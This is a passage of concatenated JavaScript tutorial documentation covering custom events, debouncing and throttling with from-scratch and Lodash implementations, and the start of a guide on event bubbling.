/**
* Fired when an item is added to the cart
* @event cart:itemAdded
* @type {CustomEvent}
* @property {Object} detail
* @property {string} detail.itemId - The ID of the added item
* @property {string} detail.itemName - The name of the item
* @property {number} detail.quantity - Quantity added
* @property {number} detail.totalItems - New total items in cart
*/
```
Remove listeners when components are destroyed to prevent memory leaks:
```javascript
class Component {
constructor() {
this.handleEvent = this.handleEvent.bind(this)
document.addEventListener('app:update', this.handleEvent)
}
handleEvent(e) {
// Handle the event
}
destroy() {
// Clean up!
document.removeEventListener('app:update', this.handleEvent)
}
}
```
---
## Key Takeaways
**The key things to remember about Custom Events:**
1. **Create with `new CustomEvent(type, options)`** - The constructor takes an event name and optional configuration object
2. **Pass data with `detail`** - The `detail` property can hold any JavaScript value and is accessible in listeners via `event.detail`
3. **Dispatch with `dispatchEvent()`** - Call this method on any element to fire the event; it executes synchronously
4. **Set `bubbles: true` for propagation** - By default, custom events don't bubble; enable it explicitly if needed
5. **Set `cancelable: true` for `preventDefault()`** - Without this option, `preventDefault()` silently does nothing
6. **Use `addEventListener()`, not `on*`** - Custom events don't have corresponding `onclick`-style properties
7. **Custom events have `isTrusted: false`** - This distinguishes them from real user-initiated events
8. **Dispatch returns whether event was canceled** - `dispatchEvent()` returns `false` if any listener called `preventDefault()`
9. **Use namespaced event names** - Prefix with component/feature name like `cart:updated` or `modal:closed`
10. **Events enable loose coupling** - Components can communicate without importing or knowing about each other
---
## Test Your Knowledge
```javascript
const event = new CustomEvent('test', {
detail: { value: 42 }
})
console.log(event.detail.value)
console.log(event.isTrusted)
```
**Answer:**
```
42
false
```
The `detail.value` is `42` as set in the constructor. `isTrusted` is `false` because the event was created programmatically, not by a real user action.
```javascript
// HTML:
parent.addEventListener('notify', () => console.log('Parent heard it'))
child.dispatchEvent(new CustomEvent('notify', {
detail: { message: 'hello' }
}))
```
**Answer:**
No, the parent will not hear the event. Custom events have `bubbles: false` by default. To make it bubble up to the parent, add `bubbles: true`:
```javascript
child.dispatchEvent(new CustomEvent('notify', {
detail: { message: 'hello' },
bubbles: true
}))
```
```javascript
const event = new CustomEvent('action', { cancelable: true })
element.addEventListener('action', (e) => {
e.preventDefault()
})
const result = element.dispatchEvent(event)
console.log(result)
```
**Answer:**
`false`
`dispatchEvent()` returns `false` when any listener calls `preventDefault()` on a cancelable event. This is useful for checking if an action should proceed.
```javascript
element.oncustomEvent = () => console.log('Fired!')
element.dispatchEvent(new CustomEvent('customEvent'))
```
**Answer:**
Custom events don't have corresponding `on*` properties like native events do. The `oncustomEvent` property doesn't exist and is just set to a function that's never called.
Use `addEventListener()` instead:
```javascript
element.addEventListener('customEvent', () => console.log('Fired!'))
element.dispatchEvent(new CustomEvent('customEvent'))
```
```javascript
console.log('1')
document.addEventListener('test', () => console.log('2'))
document.dispatchEvent(new CustomEvent('test'))
console.log('3')
```
**Answer:**
```
1
2
3
```
Unlike native browser events, `dispatchEvent()` is **synchronous**. The event handler runs immediately when `dispatchEvent()` is called, before the next line executes.
**Answer:**
1. Create the event with `cancelable: true`
2. Check the return value of `dispatchEvent()`
```javascript
const event = new CustomEvent('beforeDelete', {
detail: { itemId: 123 },
cancelable: true
})
element.addEventListener('beforeDelete', (e) => {
if (!userConfirmed) {
e.preventDefault()
}
})
const shouldProceed = element.dispatchEvent(event)
if (shouldProceed) {
deleteItem(123)
} else {
console.log('Deletion was canceled')
}
```
---
## Frequently Asked Questions
Use the `CustomEvent` constructor: `new CustomEvent('eventName', { detail: data })`. The `detail` property can hold any JavaScript value — objects, arrays, or primitives. Then dispatch it on any element with `element.dispatchEvent(event)`.
No — custom events do not bubble by default. You must explicitly set `bubbles: true` in the options object to enable bubbling. Without it, only listeners directly on the dispatching element will receive the event, as documented in the W3C DOM specification.
`CustomEvent` extends `Event` with one key addition: the `detail` property for passing arbitrary data. If you don't need to send data to listeners, `new Event('name')` works fine. MDN recommends `CustomEvent` when you need to communicate data alongside the event.
`dispatchEvent()` is synchronous — all listeners execute immediately before the method returns. This differs from native browser events, which are processed asynchronously through the event loop. You can use the return value of `dispatchEvent()` to check if any listener called `preventDefault()`.
No. Custom events do not have corresponding `on*` properties like native events. `element.onmyEvent = handler` does nothing — you must use `addEventListener()` to listen for custom events. This is a common mistake MDN specifically warns about.
---
## Related Concepts
Understand how events propagate through the DOM tree
Handle events efficiently using bubbling and a single listener
Learn how to work with DOM elements and events
Functions that work with other functions - useful for event handlers
---
## References
Official reference for the CustomEvent interface, constructor, and detail property
Detailed syntax and parameters for creating CustomEvent instances
How to dispatch events on EventTarget objects with synchronous execution
Comprehensive MDN guide covering event creation, bubbling, and registration
---
## Articles
Comprehensive tutorial covering Event constructor, CustomEvent, bubbling, and synchronous dispatch behavior with interactive examples
Complete guide to custom events covering creation, dispatching, and real-world component communication patterns
Concise explanation of CustomEvent with clear code examples and browser compatibility notes
Step-by-step tutorial covering CustomEvent basics with practical examples for DOM interactions
---
## Videos
Clear 10-minute explanation of creating, dispatching, and listening for custom events with practical examples
Hands-on tutorial showing how to build decoupled component communication using CustomEvent
Quick beginner-friendly overview of the CustomEvent API with live coding demonstrations
================================================
FILE: docs/beyond/concepts/debouncing-throttling.mdx
================================================
---
title: "Debouncing & Throttling in JS"
sidebarTitle: "Debouncing & Throttling: Control Event Frequency"
description: "Learn debouncing and throttling in JavaScript. Optimize event handlers, reduce API calls, and implement both patterns from scratch with real-world examples."
"og:type": "article"
"article:author": "Leonardo Maldonado"
"article:section": "Memory & Performance"
"article:tag": "debouncing throttling, event optimization, api calls, performance patterns, event handlers"
---
What happens when a user types in a search box at 60 characters per minute? Or when they scroll through your page, triggering hundreds of events per second? Without proper handling, your application can grind to a halt, making unnecessary API calls or blocking the main thread with expensive computations.
```javascript
// Without debouncing: 60 API calls per minute while typing
searchInput.addEventListener('input', (e) => {
fetchSearchResults(e.target.value) // Called on EVERY keystroke!
})
// With debouncing: 1 API call after user stops typing
searchInput.addEventListener('input', debounce((e) => {
fetchSearchResults(e.target.value) // Called once, 300ms after last keystroke
}, 300))
```
**[Debouncing](https://developer.mozilla.org/en-US/docs/Glossary/Debounce)** and **[throttling](https://developer.mozilla.org/en-US/docs/Glossary/Throttle)** are two techniques that control how often a function can execute. According to MDN, both patterns are essential for handling high-frequency events like scrolling, resizing, typing, and mouse movement without destroying your app's performance. The scroll event alone can fire hundreds of times per second on modern browsers.
**What you'll learn in this guide:**
- The difference between debouncing and throttling
- When to use debounce vs throttle (with decision flowchart)
- How to implement both patterns from scratch
- Leading edge vs trailing edge execution
- Real-world use cases: search, scroll, resize, button clicks
- How to use Lodash for production-ready implementations
- Common mistakes and how to avoid them
**Prerequisite:** This guide assumes you understand [Closures](/concepts/scope-and-closures) and [Higher-Order Functions](/concepts/higher-order-functions). Both debounce and throttle are higher-order functions that use closures to maintain state between calls.
---
## What is Debouncing?
**Debouncing** delays the execution of a function until a specified time has passed since the last call. If the function is called again before the delay expires, the timer resets. The function only executes when the calls stop coming for the specified duration. Under the hood, debounce uses `setTimeout` to schedule the [callback](/concepts/callbacks) after the delay.
Think of debouncing like an elevator door. When someone approaches, the door stays open. If another person arrives, the timer resets and the door stays open longer. The door only closes after no one has approached for a few seconds. The elevator optimizes by waiting for all passengers before moving.
```javascript
function debounce(fn, delay) {
let timeoutId
return function(...args) {
// Clear any existing timer
clearTimeout(timeoutId)
// Set a new timer
timeoutId = setTimeout(() => {
fn.apply(this, args)
}, delay)
}
}
// Usage: Only search after user stops typing for 300ms
const debouncedSearch = debounce((query) => {
console.log('Searching for:', query)
fetchSearchResults(query)
}, 300)
input.addEventListener('input', (e) => {
debouncedSearch(e.target.value)
})
```
### How Debounce Works Step by Step
Let's trace through what happens when a user types "hello" quickly:
```
User types: h e l l o [stops]
│ │ │ │ │ │
Time (ms): 0 50 100 150 200 500
│ │ │ │ │ │
Timer: start reset reset reset reset FIRES!
│ │ │ │ │ │
└── fn('hello') executes
```
1. User types "h" — timer starts (300ms countdown)
2. User types "e" (50ms later) — timer resets (new 300ms countdown)
3. User types "l" (100ms later) — timer resets again
4. User types another "l" (150ms later) — timer resets again
5. User types "o" (200ms later) — timer resets again
6. User stops typing — timer expires after 300ms
7. **Function executes once** with "hello"
Official MDN definition of debouncing with examples
The timer API that powers debounce implementations
---
## What is Throttling?
**Throttling** ensures a function executes at most once within a specified time interval. Unlike debouncing, throttling guarantees regular execution during continuous events — it doesn't wait for events to stop.
Think of throttling like a water faucet with a flow restrictor. No matter how much you turn the handle, water only flows at a maximum rate. The restrictor ensures consistent output regardless of input pressure.
```javascript
function throttle(fn, interval) {
let lastTime = 0
return function(...args) {
const now = Date.now()
// Only execute if enough time has passed
if (now - lastTime >= interval) {
lastTime = now
fn.apply(this, args)
}
}
}
// Usage: Update position at most every 100ms while scrolling
const throttledScroll = throttle(() => {
console.log('Scroll position:', window.scrollY)
updateScrollIndicator()
}, 100)
window.addEventListener('scroll', throttledScroll)
```
### How Throttle Works Step by Step
Let's trace through what happens during continuous scrolling:
```
Scroll events: ─●──●──●──●──●──●──●──●──●──●──●──●──●──●──●─►
│ │ │ │ │ │ │ │ │ │ │ │ │ │ │
Time (ms): 0 10 20 30 40 50 60 70 80 90 100 110 120...
│ │ │
Executes: ✓ (first call) ✓ (100ms) ✓ (200ms)
└──────────────────────────┴──────────────┴──►
```
1. First scroll event at 0ms — function executes immediately
2. Events at 10ms, 20ms... 90ms — ignored (within 100ms window)
3. Event at 100ms — function executes (100ms has passed)
4. Events at 110ms, 120ms... 190ms — ignored
5. Event at 200ms — function executes again
**Key difference:** Throttle guarantees the function runs every X milliseconds during continuous activity. Debounce waits for activity to stop.
Official MDN definition of throttling with examples
The timestamp API used in throttle implementations
---
## Debounce vs Throttle: Visual Comparison
Here's how they differ when handling the same stream of events:
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ DEBOUNCE VS THROTTLE COMPARISON │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Raw Events (e.g., keystrokes, scroll): │
│ ─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●─●───────────●─●─●─●─●────────► │
│ └─────────────────────────────┘ └─────────┘ │
│ Burst 1 Burst 2 │
│ │
│ ─────────────────────────────────────────────────────────────────────────── │
│ │
│ DEBOUNCE (300ms): │
│ Waits for events to stop, then fires once │
│ │
│ ────────────────────────────────────●────────────────────●────────► │
│ │ │ │
│ Fires! Fires! │
│ (300ms after (300ms after │
│ last event) last event) │
│ │
│ ─────────────────────────────────────────────────────────────────────────── │
│ │
│ THROTTLE (100ms): │
│ Fires at regular intervals during activity │
│ │
│ ─●───────●───────●───────●───────●────────●───────●───────●────► │
│ │ │ │ │ │ │ │ │ │
│ 0ms 100ms 200ms 300ms 400ms ...ms ...ms ...ms │
│ │
│ Guarantees execution every 100ms while events continue │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
| Aspect | Debounce | Throttle |
|--------|----------|----------|
| **Executes** | After events stop | During events, at intervals |
| **Guarantees** | Single execution per burst | Regular execution rate |
| **Best for** | Final value matters (search) | Continuous updates (scroll position) |
| **During 1000ms of events** | 1 execution (at end) | ~10 executions (every 100ms) |
---
## When to Use Which: Decision Flowchart
Use this flowchart to decide between debounce and throttle:
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ WHICH TECHNIQUE SHOULD I USE? │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────┐ │
│ │ You have a function │ │
│ │ being called too often │ │
│ └───────────┬─────────────┘ │
│ │ │
│ ▼ │
│ ┌────────────────────────────────────────┐ │
│ │ Do you need updates DURING activity? │ │
│ └────────────────────┬───────────────────┘ │
│ ┌───────────┴───────────┐ │
│ │ │ │
│ YES NO │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────────┐ ┌─────────────────────┐ │
│ │ THROTTLE │ │ Do you only care │ │
│ │ │ │ about the FINAL │ │
│ │ • Scroll │ │ value? │ │
│ │ • Resize │ └──────────┬──────────┘ │
│ │ • Mouse move │ ┌────┴────┐ │
│ │ • Game loops │ YES NO │
│ │ • Progress │ │ │ │
│ │ │ ▼ ▼ │
│ └─────────────────┘ ┌────────────┐ ┌────────────┐ │
│ │ DEBOUNCE │ │ Consider │ │
│ │ │ │ both or │ │
│ │ • Search │ │ leading │ │
│ │ • Auto-save│ │ debounce │ │
│ │ • Validate │ │ │ │
│ │ • Resize │ └────────────┘ │
│ │ (final) │ │
│ └────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
### Common Use Cases
| Use Case | Technique | Why |
|----------|-----------|-----|
| **Search autocomplete** | Debounce | Only fetch after user stops typing |
| **Form validation** | Debounce | Validate after user finishes input |
| **Auto-save drafts** | Debounce | Save after user pauses editing |
| **Window resize layout** | Debounce | Recalculate once at final size |
| **Scroll position tracking** | Throttle | Need regular position updates |
| **Infinite scroll** | Throttle | Check proximity to bottom regularly |
| **Mouse move tooltips** | Throttle | Update position smoothly |
| **Rate-limited API calls** | Throttle | Respect API rate limits |
| **Button click (prevent double)** | Debounce (leading) | Execute first click, ignore rapid repeats |
| **Live preview** | Throttle | Show changes without lag |
---
## Leading vs Trailing Edge
Both debounce and throttle can execute on the **leading edge** (immediately on first call) or **trailing edge** (after delay/at end of interval). Some implementations support both.
### Trailing Edge (Default)
The function executes **after** the delay/interval. This is the default behavior shown above.
```javascript
// Trailing debounce: executes AFTER user stops typing
const trailingDebounce = debounce(search, 300)
// Timeline: type "hi" → wait 300ms → search("hi") executes
```
### Leading Edge
The function executes **immediately** on the first call, then ignores subsequent calls until the delay expires.
```javascript
function debounceLeading(fn, delay) {
let timeoutId
return function(...args) {
// Execute immediately if no pending timeout
if (!timeoutId) {
fn.apply(this, args)
}
// Clear and reset the timeout
clearTimeout(timeoutId)
timeoutId = setTimeout(() => {
timeoutId = null // Allow next leading call
}, delay)
}
}
// Usage: Prevent double-click on submit button
const handleSubmit = debounceLeading(() => {
console.log('Form submitted!')
submitForm()
}, 1000)
submitButton.addEventListener('click', handleSubmit)
// First click: submits immediately
// Rapid clicks: ignored for 1 second
```
### Leading Edge Throttle
```javascript
function throttleLeading(fn, interval) {
let lastTime = 0
return function(...args) {
const now = Date.now()
if (now - lastTime >= interval) {
lastTime = now
fn.apply(this, args)
}
}
}
// This is actually the same as our basic throttle!
// Throttle naturally executes on leading edge
```
### Both Edges
For maximum responsiveness, execute on both leading AND trailing edges:
```javascript
function debounceBothEdges(fn, delay) {
let timeoutId
let lastCallTime = 0
return function(...args) {
const now = Date.now()
const timeSinceLastCall = now - lastCallTime
// Leading edge: execute if enough time has passed
if (timeSinceLastCall >= delay) {
fn.apply(this, args)
}
lastCallTime = now
// Trailing edge: also execute after delay
clearTimeout(timeoutId)
timeoutId = setTimeout(() => {
fn.apply(this, args)
lastCallTime = Date.now()
}, delay)
}
}
```
---
## Production-Ready Implementations
Here are more robust implementations with additional features:
### Enhanced Debounce with Cancel
```javascript
function debounce(fn, delay, options = {}) {
let timeoutId
let lastArgs
let lastThis
const { leading = false, trailing = true } = options
function debounced(...args) {
lastArgs = args
lastThis = this
const invokeLeading = leading && !timeoutId
clearTimeout(timeoutId)
timeoutId = setTimeout(() => {
timeoutId = null
if (trailing && lastArgs) {
fn.apply(lastThis, lastArgs)
lastArgs = null
lastThis = null
}
}, delay)
if (invokeLeading) {
fn.apply(this, args)
}
}
debounced.cancel = function() {
clearTimeout(timeoutId)
timeoutId = null
lastArgs = null
lastThis = null
}
debounced.flush = function() {
if (timeoutId && lastArgs) {
fn.apply(lastThis, lastArgs)
debounced.cancel()
}
}
return debounced
}
// Usage
const debouncedSave = debounce(saveDocument, 1000, { leading: true, trailing: true })
// Cancel pending execution
debouncedSave.cancel()
// Execute immediately
debouncedSave.flush()
```
### Enhanced Throttle with Trailing Call
```javascript
function throttle(fn, interval, options = {}) {
let lastTime = 0
let timeoutId
let lastArgs
let lastThis
const { leading = true, trailing = true } = options
function throttled(...args) {
const now = Date.now()
const timeSinceLastCall = now - lastTime
lastArgs = args
lastThis = this
// Leading edge
if (timeSinceLastCall >= interval) {
if (leading) {
lastTime = now
fn.apply(this, args)
}
}
// Schedule trailing edge
if (trailing) {
clearTimeout(timeoutId)
timeoutId = setTimeout(() => {
if (Date.now() - lastTime >= interval && lastArgs) {
lastTime = Date.now()
fn.apply(lastThis, lastArgs)
lastArgs = null
lastThis = null
}
}, interval - timeSinceLastCall)
}
}
throttled.cancel = function() {
clearTimeout(timeoutId)
lastTime = 0
timeoutId = null
lastArgs = null
lastThis = null
}
return throttled
}
```
---
## Using Lodash in Production
For production applications, use battle-tested libraries like [Lodash](https://lodash.com/). With over 30 million weekly npm downloads, Lodash's debounce and throttle implementations handle edge cases, provide TypeScript types, and are thoroughly tested across thousands of production applications.
### Installation
```bash
# Full library
npm install lodash
# Or just the functions you need
npm install lodash.debounce lodash.throttle
```
### Basic Usage
```javascript
import debounce from 'lodash/debounce'
import throttle from 'lodash/throttle'
// Debounce with options
const debouncedSearch = debounce(search, 300, {
leading: false, // Don't execute on first call
trailing: true, // Execute after delay (default)
maxWait: 1000 // Maximum time to wait (forces execution)
})
// Throttle with options
const throttledScroll = throttle(updateScrollPosition, 100, {
leading: true, // Execute on first call (default)
trailing: true // Also execute at end of interval (default)
})
// Cancel pending execution
debouncedSearch.cancel()
// Execute immediately
debouncedSearch.flush()
```
### The maxWait Option
Lodash's debounce has a powerful `maxWait` option that sets a maximum time the function can be delayed:
```javascript
import debounce from 'lodash/debounce'
// Search after typing stops, BUT at least every 2 seconds
const debouncedSearch = debounce(search, 300, {
maxWait: 2000 // Force execution after 2 seconds of continuous typing
})
```
This is essentially debounce + throttle combined. Useful when you want responsiveness during long bursts of activity.
**Fun fact:** Lodash's `throttle` is actually implemented using `debounce` with the `maxWait` option set equal to the wait time. Check the [source code](https://github.com/lodash/lodash/blob/main/src/throttle.ts)!
---
## Real-World Examples
### Search Autocomplete
```javascript
import debounce from 'lodash/debounce'
const searchInput = document.getElementById('search')
const resultsContainer = document.getElementById('results')
async function fetchResults(query) {
if (!query.trim()) {
resultsContainer.innerHTML = ''
return
}
try {
const response = await fetch(`/api/search?q=${encodeURIComponent(query)}`)
const results = await response.json()
renderResults(results)
} catch (error) {
console.error('Search failed:', error)
}
}
// Only search 300ms after user stops typing
const debouncedFetch = debounce(fetchResults, 300)
searchInput.addEventListener('input', (e) => {
debouncedFetch(e.target.value)
})
```
### Infinite Scroll
```javascript
import throttle from 'lodash/throttle'
function checkScrollPosition() {
const scrollPosition = window.scrollY + window.innerHeight
const documentHeight = document.documentElement.scrollHeight
// Load more when within 200px of bottom
if (documentHeight - scrollPosition < 200) {
loadMoreContent()
}
}
// Check position every 100ms while scrolling
const throttledCheck = throttle(checkScrollPosition, 100)
window.addEventListener('scroll', throttledCheck)
// Cleanup on unmount
function cleanup() {
window.removeEventListener('scroll', throttledCheck)
throttledCheck.cancel()
}
```
### Window Resize Handler
```javascript
import debounce from 'lodash/debounce'
function recalculateLayout() {
const width = window.innerWidth
const height = window.innerHeight
// Expensive layout calculations
updateGridColumns(width)
resizeCharts(width, height)
repositionElements()
}
// Only recalculate after user stops resizing
const debouncedResize = debounce(recalculateLayout, 250)
window.addEventListener('resize', debouncedResize)
```
### Prevent Double Submit
```javascript
import debounce from 'lodash/debounce'
const form = document.getElementById('checkout-form')
async function submitOrder(formData) {
const response = await fetch('/api/orders', {
method: 'POST',
body: formData
})
if (response.ok) {
window.location.href = '/order-confirmation'
}
}
// Execute immediately, ignore clicks for 2 seconds
const debouncedSubmit = debounce(submitOrder, 2000, {
leading: true,
trailing: false
})
form.addEventListener('submit', (e) => {
e.preventDefault()
debouncedSubmit(new FormData(form))
})
```
### Mouse Move Tooltip
```javascript
import throttle from 'lodash/throttle'
const tooltip = document.getElementById('tooltip')
function updateTooltipPosition(x, y) {
tooltip.style.left = `${x + 10}px`
tooltip.style.top = `${y + 10}px`
}
// Update tooltip position every 16ms (60fps)
const throttledUpdate = throttle(updateTooltipPosition, 16)
document.addEventListener('mousemove', (e) => {
throttledUpdate(e.clientX, e.clientY)
})
```
---
## requestAnimationFrame Alternative
For visual updates tied to rendering (animations, scroll effects), [`requestAnimationFrame`](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame) is often better than throttle. As web.dev's rendering performance guide explains, rAF syncs with the browser's repaint cycle (typically 60fps ≈ 16ms) and is scheduled by the [event loop](/concepts/event-loop) as a special render-related callback.
```javascript
function throttleWithRAF(fn) {
let ticking = false
let lastArgs
return function(...args) {
lastArgs = args
if (!ticking) {
ticking = true
requestAnimationFrame(() => {
fn.apply(this, lastArgs)
ticking = false
})
}
}
}
// Usage: Smooth scroll-linked animations
const updateScrollAnimation = throttleWithRAF(() => {
const scrollPercent = window.scrollY / (document.documentElement.scrollHeight - window.innerHeight)
progressBar.style.width = `${scrollPercent * 100}%`
parallaxElement.style.transform = `translateY(${scrollPercent * 100}px)`
})
window.addEventListener('scroll', updateScrollAnimation)
```
**When to use rAF vs throttle:**
| Use rAF when... | Use throttle when... |
|-----------------|---------------------|
| Animating DOM elements | Rate-limiting API calls |
| Scroll-linked visual effects | Infinite scroll loading |
| Canvas/WebGL rendering | Analytics event tracking |
| Parallax effects | Form validation |
---
## Common Mistakes
### Mistake 1: Creating New Debounced Functions Each Time
```javascript
// ❌ WRONG: Creates a new debounced function on every call
element.addEventListener('input', (e) => {
debounce(handleInput, 300)(e) // This doesn't work!
})
// ✓ CORRECT: Create once, reuse
const debouncedHandler = debounce(handleInput, 300)
element.addEventListener('input', debouncedHandler)
```
### Mistake 2: Forgetting to Clean Up
```javascript
// ❌ WRONG: Memory leak in React/Vue/etc.
useEffect(() => {
const handler = throttle(handleScroll, 100)
window.addEventListener('scroll', handler)
}, [])
// ✓ CORRECT: Clean up on unmount
useEffect(() => {
const handler = throttle(handleScroll, 100)
window.addEventListener('scroll', handler)
return () => {
window.removeEventListener('scroll', handler)
handler.cancel() // Cancel any pending calls
}
}, [])
```
### Mistake 3: Wrong Technique for the Job
```javascript
// ❌ WRONG: Debounce for scroll position tracking
// User won't see smooth updates, only final position
window.addEventListener('scroll', debounce(updatePosition, 100))
// ✓ CORRECT: Throttle for continuous visual updates
window.addEventListener('scroll', throttle(updatePosition, 100))
// ❌ WRONG: Throttle for search autocomplete
// Unnecessary API calls while user is still typing
input.addEventListener('input', throttle(search, 300))
// ✓ CORRECT: Debounce for search (only when typing stops)
input.addEventListener('input', debounce(search, 300))
```
### Mistake 4: Losing `this` Context
```javascript
// ❌ WRONG: Arrow function preserves wrong `this`
class SearchComponent {
constructor() {
this.query = ''
}
handleInput = debounce(() => {
console.log(this.query) // Works, but...
}, 300)
}
// ❌ WRONG: Method loses `this` when passed as callback
class SearchComponent {
handleInput() {
console.log(this.query) // `this` is undefined!
}
}
const component = new SearchComponent()
input.addEventListener('input', debounce(component.handleInput, 300))
// ✓ CORRECT: Bind the method
input.addEventListener('input', debounce(component.handleInput.bind(component), 300))
// ✓ ALSO CORRECT: Wrap in arrow function
input.addEventListener('input', debounce((e) => component.handleInput(e), 300))
```
### Mistake 5: Choosing the Wrong Delay
```javascript
// ❌ TOO SHORT: Defeats the purpose
debounce(search, 50) // Still makes many API calls
// ❌ TOO LONG: Feels unresponsive
debounce(search, 1000) // User waits 1 second for results
// ✓ GOOD: Balance between responsiveness and efficiency
debounce(search, 250) // 250-400ms is typical for search
throttle(scroll, 100) // 100-150ms for scroll (smooth but efficient)
```
---
## Key Takeaways
**The key things to remember:**
1. **Debounce waits for silence** — It delays execution until events stop coming for a specified duration. Use it when you only care about the final value.
2. **Throttle maintains rhythm** — It ensures execution happens at most once per interval, even during continuous events. Use it when you need regular updates.
3. **Leading vs trailing** — Leading executes immediately on first call; trailing executes after the delay. You can use both for maximum responsiveness.
4. **Use Lodash in production** — Battle-tested implementations with TypeScript types, cancel methods, and edge case handling.
5. **Create debounced/throttled functions once** — Don't create them inside event handlers or render functions.
6. **Always clean up** — Cancel pending executions and remove event listeners when components unmount.
7. **requestAnimationFrame for animations** — For visual updates, rAF syncs with the browser's repaint cycle for smoother results.
8. **Choose the right delay** — 250-400ms for search/typing, 100-150ms for scroll/resize, 16ms for animations.
9. **Closures make it work** — Both techniques use closures to maintain state (timers, timestamps) between function calls.
10. **Test your implementation** — Verify the behavior matches your expectations, especially edge cases like rapid bursts and cleanup.
---
## Test Your Knowledge
**Answer:**
- **Debounce** waits for a pause in events before executing. The function only runs once after events stop coming for the specified delay.
- **Throttle** executes at regular intervals during continuous events. It guarantees the function runs at most once per specified interval, providing regular updates.
**Example:** If events fire continuously for 1 second:
- Debounce (300ms): 1 execution (after events stop + 300ms)
- Throttle (100ms): ~10 executions (every 100ms)
**Answer:**
Leading edge debounce executes immediately on the first call, then ignores subsequent calls until the delay expires. Use it when:
1. **Preventing double-clicks** — Submit form on first click, ignore rapid additional clicks
2. **Immediate feedback** — Show something instantly, but don't repeat
3. **First interaction matters** — Track first button press, not every press
```javascript
const preventDoubleClick = debounce(submitForm, 1000, {
leading: true,
trailing: false
})
```
**Answer:**
Creating a debounced function inside an event handler creates a **new function every time the event fires**. Each new function has its own separate timer, so debouncing never actually works:
```javascript
// ❌ WRONG - new debounced function each time
input.addEventListener('input', (e) => {
debounce(search, 300)(e.target.value)
// Timer 1, Timer 2, Timer 3... none wait for each other
})
// ✓ CORRECT - same debounced function reused
const debouncedSearch = debounce(search, 300)
input.addEventListener('input', (e) => {
debouncedSearch(e.target.value)
// Same timer gets reset each time
})
```
**Answer:**
The `maxWait` option sets a maximum time a debounced function can be delayed. Even if events keep coming, the function will execute after `maxWait` milliseconds.
```javascript
const debouncedSearch = debounce(search, 300, {
maxWait: 2000 // Force execution after 2 seconds
})
```
This is useful for long typing sessions — you still get the debounce behavior, but users see results at least every 2 seconds. It's essentially debounce + throttle combined.
Fun fact: Lodash's `throttle` is implemented using `debounce` with `maxWait` equal to the wait time!
**Answer:**
Use `requestAnimationFrame` when you're doing **visual updates** that need to sync with the browser's repaint cycle:
- Scroll-linked animations
- Parallax effects
- Canvas/WebGL rendering
- DOM element transformations
```javascript
// rAF syncs with 60fps refresh rate
const throttledWithRAF = (fn) => {
let ticking = false
return (...args) => {
if (!ticking) {
requestAnimationFrame(() => {
fn(...args)
ticking = false
})
ticking = true
}
}
}
```
Use throttle for non-visual tasks: API calls, analytics tracking, loading content, validation.
**Answer:**
Both debounce and throttle are **higher-order functions** that return a new function. The returned function uses **closures** to remember state between calls:
```javascript
function debounce(fn, delay) {
let timeoutId // ← Closure variable, persists between calls
return function(...args) {
clearTimeout(timeoutId)
timeoutId = setTimeout(() => fn.apply(this, args), delay)
// timeoutId is remembered from the previous call
}
}
```
The closure allows the returned function to:
- Remember the `timeoutId` from previous calls (to clear it)
- Track `lastTime` for throttle calculations
- Store pending `args` and `this` context
Without closures, each call would have no memory of previous calls.
---
## Frequently Asked Questions
Debounce delays execution until events stop coming for a specified duration — it fires once after a burst. Throttle limits execution to at most once per interval during continuous events — it fires at regular intervals. Use debounce when you care about the final value (search), and throttle when you need periodic updates (scroll tracking).
A delay of 250–400 milliseconds is standard for search autocomplete. This gives users enough time to finish typing a word without feeling unresponsive. Lodash's `maxWait` option can force execution after a maximum delay (e.g., 2 seconds) during long typing sessions, combining debounce and throttle behavior.
Always cancel pending executions in a cleanup function. Return a cleanup from `useEffect` that calls `handler.cancel()` and removes event listeners. According to the React documentation, forgetting cleanup is one of the most common sources of memory leaks in React applications using debounce or throttle.
Yes, for visual updates like animations and scroll-linked effects. `requestAnimationFrame` syncs with the browser's 60fps repaint cycle (~16ms intervals), producing smoother results than a fixed throttle interval. Use throttle for non-visual tasks like API calls, analytics tracking, and infinite scroll loading.
Creating a debounced function inside an event handler creates a new function (with its own timer) on every event. Each instance has a separate timer, so debouncing never kicks in. Always create the debounced function once outside the handler and reuse it — the closure maintains state between calls.
---
## Related Concepts
Understand how closures enable debounce and throttle to maintain state between calls
Learn about functions that return functions — the pattern both techniques use
Understand how setTimeout and browser events are scheduled and processed
The foundation for understanding how debounce and throttle wrap other functions
---
## Reference
Official MDN definition with explanation of leading and trailing edges
Official MDN definition with scroll handler examples
The timer API that powers debounce implementations
Browser API for syncing with the repaint cycle — an alternative to throttle for animations
## Articles
CSS-Tricks' comprehensive guide with interactive CodePen demos. The visual examples make timing differences crystal clear.
Official Lodash docs for _.debounce with all options explained. Production-ready implementation details.
Official Lodash docs for _.throttle. Shows how throttle is built on top of debounce with maxWait.
Classic article with a simple debounce implementation. Good for understanding the core logic.
## Videos
Kyle Cook explains both concepts with clear visualizations and practical examples. Great for visual learners.
Fireship's ultra-concise explanation of debounce. Perfect quick refresher.
MPJ's entertaining deep dive with real-world examples and implementation from scratch.
Learn how to properly use debounce in React with hooks, including cleanup patterns.
================================================
FILE: docs/beyond/concepts/event-bubbling-capturing.mdx
================================================
---
title: "Event Bubbling & Capturing"
sidebarTitle: "Event Bubbling & Capturing"
description: "Learn event bubbling and capturing in JavaScript. Understand the three phases of event propagation, stopPropagation, and when to use capturing vs bubbling."
"og:type": "article"
"article:author": "Leonardo Maldonado"
"article:section": "Events"
"article:tag": "event bubbling, event capturing, event propagation, stoppropagation, dom events"
---
You click a button inside a `
`, but both the button's handler AND the div's handler fire. Why? Or you add a click listener to a parent element, and it somehow catches clicks on all its children. How does that work?
The answer lies in **event propagation** — the way events travel through the DOM tree. Understanding this unlocks powerful patterns like [event delegation](/beyond/concepts/event-delegation) and helps you avoid frustrating bugs.
```javascript
// Click a button nested inside a div
document.querySelector('.parent').addEventListener('click', () => {
console.log('Parent clicked!') // This fires too!
})
document.querySelector('.child-button').addEventListener('click', () => {
console.log('Button clicked!') // This fires first
})
// Click the button → Output:
// "Button clicked!"
